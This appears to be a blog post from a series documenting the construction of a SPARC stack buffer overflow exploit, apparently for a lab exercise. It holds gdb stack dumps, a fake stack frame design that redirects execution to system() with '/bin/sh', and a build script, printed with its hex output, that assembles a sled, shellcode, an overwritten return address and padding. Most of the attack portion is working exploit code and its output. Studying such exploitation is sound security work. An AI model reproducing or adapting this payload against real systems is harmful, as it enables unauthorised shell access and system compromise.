Stack Frame Search – Pt. IX

Find out if char* strings need to be word-aligned. NO, they do not ;)

(gdb) x/s 0xff32a24c
0xff32a24c <.L520+20>:   "/bin/csh"
(gdb) x/s 0xff32a24d
0xff32a24d <.L520+21>:   "bin/csh"
(gdb) x/s Param_set
0x25e0f <buf+335>:       "ugrad"
(gdb) x/s &Param_set
0x282e0 <Param_set>:     ""
(gdb) set *(&Param_set) = 0xff32a24d
(gdb) x/s Param_set
0xff32a24d:      "bin/csh"
(gdb) c
Continuing.
These are the categories of accounts:
 1) bin/csh   ugrad - Not in a course   System Administrator

GREAT, cause that helps ALOT
This is a breakpoint of the 2nd ShowParams function call in Groups(), illustrating the stack frame:

Breakpoint 1, 0x000121c8 in Groups ()
(gdb) x/96x $sp
0xffbeeec8:     0xffbeeb28      0x00027cc8      0x00000000      0x00000000
0xffbeeed8:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbeeee8:     0x000294e4      0x00027cc9      0x0002a5b6      0x00000001
0xffbeeef8:     0xff33c008      0x00000003      0xffbeef48      0x00011424
0xffbeef08:     0x00000007      0x00025b7c      0x0000002b      0xff343a54
0xffbeef18:     0x00000000      0xff33c008      0x00027cc0      0x00000031
0xffbeef28:     0x00000031      0x00029ced      0x00000000      0x00000030
0xffbeef38:     0xff33f014      0xff31ff4c      0xffbeef48      0x0001135c
0xffbeef48:     0xff33e5f0      0x00000000      0x00000000      0x00000000
0xffbeef58:     0x00000000      0x00000000      0x00000000      0xff3e07a8
0xffbeef68:     0x00000001      0xffbef03c      0xffbef044      0x000280cc
0xffbeef78:     0x00000000      0x00000000      0xffbeefd8      0x00010fec
0xffbeef88:     0x00000000      0x000294e4      0xffbeeff8      0x00000000
0xffbeef98:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbeefa8:     0x00000003      0x00000000      0x00000000      0x00000000
0xffbeefb8:     0x00000000      0xffffffff      0x00000000      0x00000000
0xffbeefc8:     0x00000000      0x00000000      0xffbeefd8      0x00010fac
0xffbeefd8:     0x00000001      0xffbef03c      0x00000000      0x00000000
0xffbeefe8:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbeeff8:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbef008:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbef018:     0x00000000      0x00000001      0xffbef03c      0x00000000
0xffbef028:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbef038:     0x00000001      0xffbef18c      0x00000000      0xffbef1a4

I started marking several values that together could mark this unique stack frame, and then it occurred to me, what about just using %i7 as a marker? I then proceeded to use iTerm search facility amidst a memory query of the entire stack space for the return address. It turns out that this is the only place in stack memory at this time where that value exists. Wonderful. I can search for a string “1) \x01\x14\x24” and I will have the %i7 address. Although it’s tempting to re-use the same stack frame, that won’t work since Group() trashes the %i0 at ret/restore..

the ‘int count’ which must be > 0 to get out of Groups() is located at %fp + -24

0x40 bytes of stack from from %sp that we care about..
For testing on blade72
FAKE STACK FRAME:
%i0 = 0xff32a240 ; /bin/sh
%i7 = 0xff31ff98 ; exit()

Overflowed stack frame:
%fp = address of fake stack frame %i0 – 0x20 (yet to be determined, must find a place in stack that is safe)
%i7 = 0xff3150a4 (system() + 4 [skip save])

Groups() has 0x40 bytes free at 0x44 bytes after the overwritten %i7. I know this from analyzing all references to ld/st with %fp.. I can write the fake stack frame there.

(gdb) x/96x $sp
0xffbeee60:     0xffbeeac0      0x00027cc8      0x00000000      0x00000000
0xffbeee70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbeee80:     0x000294e4      0x00027cc9      0x0002a5b6      0x00000001
0xffbeee90:     0xff33c008      0x00000003      0xffbeeee0      0x00011424
0xffbeeea0:     0x00000007      0x00029ce8      0x65630000      0x00006563
0xffbeeeb0:     0x000298e4      0x00000000      0x00000000      0x00000031
0xffbeeec0:     0x00000000      0x00029ced      0x000139a8      0x00000001
0xffbeeed0:     0xff33f014      0xff31ff4c      0xffbeeee0      0x0001135c
0xffbeeee0:     0xff33e5f0

I use scripts to help my fashion the original shell code and get its length :)

$ cat build_apply_sc_fakestackframe
# asmshell5_interactive.bin is 84 bytes
perl -e 'print "nnnnnnnn";'
perl -e 'print "\x80\x18\x40\x01"x251;'
cat asmshell5_interactive.bin
printf "\xff\xbe\xfe\x68" # to be edited by program -- address of fake stack frame
printf "\xff\x31\x50\xa4" # system() 0xff3150a4
# print 0x40 bytes of trash to get to %fp's and its 0x40 bytes untouched for fake stack frame
perl -e 'print "A"x0x40'
# fake stack frame goes here :)

bazz@blade72[pts/1][~/nobackup/myblade150_backup/latest] ./build_apply_sc_fakestackframe | od -X -A d
0000000 6e6e6e6e 6e6e6e6e 80184001 80184001
0000016 80184001 80184001 80184001 80184001
*
0001008 80184001 110bd89a 9012216e d023a054
0001024 110bdcda d023a058 110b5a40 d023a05c
0001040 c023a060 9003a054 d023a048 9003a05c
0001056 d023a04c c023a050 9003a054 9203a048
0001072 941b400d 8210203b 91d02008 901b400d
0001088 82102001 91d02008 ffbefe68 ff3150a4
0001104 41414141 41414141 41414141 41414141
*
0001168

@offset 1168, place the fake stack frame:
%i0 is 1168+0x20
%i7 is 1168+0x3c

Leave a Reply

Your email address will not be published. Required fields are marked *

*